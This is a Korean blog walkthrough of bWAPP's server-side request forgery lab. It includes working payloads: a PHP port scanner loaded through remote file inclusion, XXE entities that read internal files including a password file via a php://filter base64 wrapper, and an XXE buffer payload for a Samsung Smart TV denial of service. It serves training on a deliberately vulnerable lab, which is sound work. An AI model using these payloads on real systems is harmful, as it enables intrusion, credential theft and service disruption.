Notice
Recent Posts
Recent Comments
Link
«   2024/07   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31
Archives
Today
Total
관리 메뉴

삽질블로그

[Kali_Linux] Server Side Request Forgery ( SSRF ) | bWAPP | Missing Functional Level Access Control 본문

카테고리 없음

[Kali_Linux] Server Side Request Forgery ( SSRF ) | bWAPP | Missing Functional Level Access Control

삽질장인 2020. 9. 4. 14:55

본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.

1. Missing Functional Level Access Control

   - OWASP Top 10 A7 - 기능 수준의 접근 통제 누락

   - 접근 통제 및 검증이 서버 설정, 관리 부분에서 제대로 구성되지 않았을 때 중요 자원 접근이 가능한 취약점이다.

   - Ex) 디렉토리 접근, 파일 접근, 파일 다운로드 및 업로드

 

2. Server Side Request Forgery ( SSRF )

   - 공격자가 변조된 요청을 서버에게 전송하여 서버가 내부망에 악의적인 요청을 보내는 취약점이다.

   - 이를 통해서 내부망 접근, 스캔, 보안 장비 우회가 가능하게 된다.

   - Ex) 서버가 요청 정보를 수신하여 다른 웹, 포트에 직접 접근하는 경우

 

3. XML External Entity Attacks ( XXE )

   - XML 인젝션을 실시하여 XML Parser ( 마크업 분석 / 구조화된 정보를 어플리케이션에게 전달하는 프로세서 ) 를 통해 페이지의 내용을 대체하는 권한을 획득하는 취약점이다.

   - 이를 통해서 서버 시스템 내부 자원을 접근할 수 있다.

 

4. Missing Functional Level Access Control - Server Side Request Forgery ( SSRF )

   - 이 시나리오는 SSRF 취약점 중에 RFI를 이용한 포트 스캔, XEE를 이용한 내부망 자원 접근, XEE를 이용한 삼성 스마트 TV DoS 공격하는 내용이다. 단, bWAPP 내부망에 다른 시스템이 없기 때문에 bWAPP 내부 취약점을 알아본다.

 

=============================실습===================================

1) 첫 화면

 

2) SSRF 시나리오 3가지 내용 확인

 

3) 시나리오 관련 파일 확인

bee@bee-box:~$ cd /var/www/bWAPP
bee@bee-box:/var/www/bWAPP$ cd ../evil
bee@bee-box:/var/www/evil$ ls -l ssrf*
-rw-rw-r-- 1 root www-data 1384 2014-11-02 23:52 ssrf-1.txt
-rw-rw-r-- 1 root www-data  681 2014-11-02 23:52 ssrf-2.txt
-rw-rw-r-- 1 root www-data 1031 2014-11-02 23:52 ssrf-3.txt

 

4) RFI를 이용한 포트 스캔(bWAPP 내부망에 다른 시스템이 없기 때문에 bWAPP을 타겟으로 실시함

   bee@bee-box:/var/www/evil$ vi ssrf-1.txt

~ 중간 생략 ~

echo "<script>alert(\"U 4r3 0wn3d by MME!!!\");</script>";

if(isset($_REQUEST["ip"]))
{
   
    //list of port numbers to scan
    $ports = array(21, 22, 23, 25, 53, 80, 110, 1433, 3306);
   
    $results = array();
   
    foreach($ports as $port)
    {

        if($pf = @fsockopen($_REQUEST["ip"], $port, $err, $err_string, 1))
        {           // 소켓 연결 가능 유무를 확인하는 기능

            $results[$port] = true;
            fclose($pf);
           
        }
       
        else
        {

            $results[$port] = false;       

        }

    }
 
    foreach($results as $port=>$val)
    {

        $prot = getservbyport($port,"tcp");
        echo "Port $port ($prot): ";

        if($val)
        {

            echo "<span style=\"color:green\">OK</span><br/>";

        }

        else
        {

            echo "<span style=\"color:red\">Inaccessible</span><br/>";

        }

    }

}


?>

:q!

 

5) 'Port scan' 클릭

 

6) 'ssrf-1.txt' 파일 URL 주소 복사 실시

http://192.168.222.132/evil/ssrf-1.txt

 

7) 'Remote & Local File Inclusion(RFI/LFI)' 시나리오 선택

 

8) 'Go' 버튼 클릭

 

9) 'ssrf-1.txt' 링크 인젝션 실시 -> 메세지 확인 -> '확인' 버튼 클릭

http://192.168.222.132/bWAPP/rlfi.php?language=http://192.168.222.132/evil/ssrf-1.txt&action=go&ip=192.168.222.132

 

10) RFI를 이용한 포트 스캔 결과 확인

 

11) XXE를 이용한 내부망 자원 접근(bWAPP 내부망에 다른 시스템이 없기 때문에 bWAPP을 타켓으로 실시함)

  bee@bee-box:/var/www/evil$ vi ssrf-2.txt

# Accesses a file on the internal network (1)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "http://localhost/bWAPP/robots.txt">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>


# Accesses a file on the internal network (2)
# Web pages returns some characters that break the XML schema > use the PHP base64 encoder filter to return an XML schema friendly version of the page!

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

:q!

 

12) 'Server Side Request Forgery(SSRF)' 시나리오 선택

 

13) 'Access' 클릭

 

14) XXE 스크립트 2개 복사 실시

15) 'SQL Injection - Stored ( XML )' 시나리오 선택

 

16) Intercept -> 'Intercept is on' 으로 변경 실시

 

17) 'Any bugs?' 버튼 클릭

 

18) 마우스 우클릭 -> 'Send to Repeater' 클릭 -> Repeater 클릭 및 이동

 

19) Request Body에 XEE 스크립트 실시

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "http://localhost/bWAPP/robots.txt">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

 

20) 'Send' 버튼 클릭 -> Response에 'robots.txt' 파일 내용 확인

 

21) Request Body에 XEE 스크립트 실시 -> 'Go' 버튼 클릭 -> Response 내용의 'heroes.xml' Base64 인코딩 내용 확인

22) 'Proxy' 클릭 및 이동 -> Intercept is on 클릭하여 off 실시

 

23) 'heroes.xml' Base64 디코딩 실시 및 내용 확인

 

24) 'exploit-db' 사이트 내용

   참고 사이트 :  https://www.exploit-db.com/exploits/27043

 

25) bee@bee-box:/var/www/evil$ vi ssrf-3.txt

# Crashes my Samsung SmartTV (CVE-2013-4890) ;)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "https://[IP]:5600/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

:q!

bee@bee-box:/var/www/evil$ cd -
/var/www/bWAPP

bee@bee-box:/var/www/bWAPP$
Comments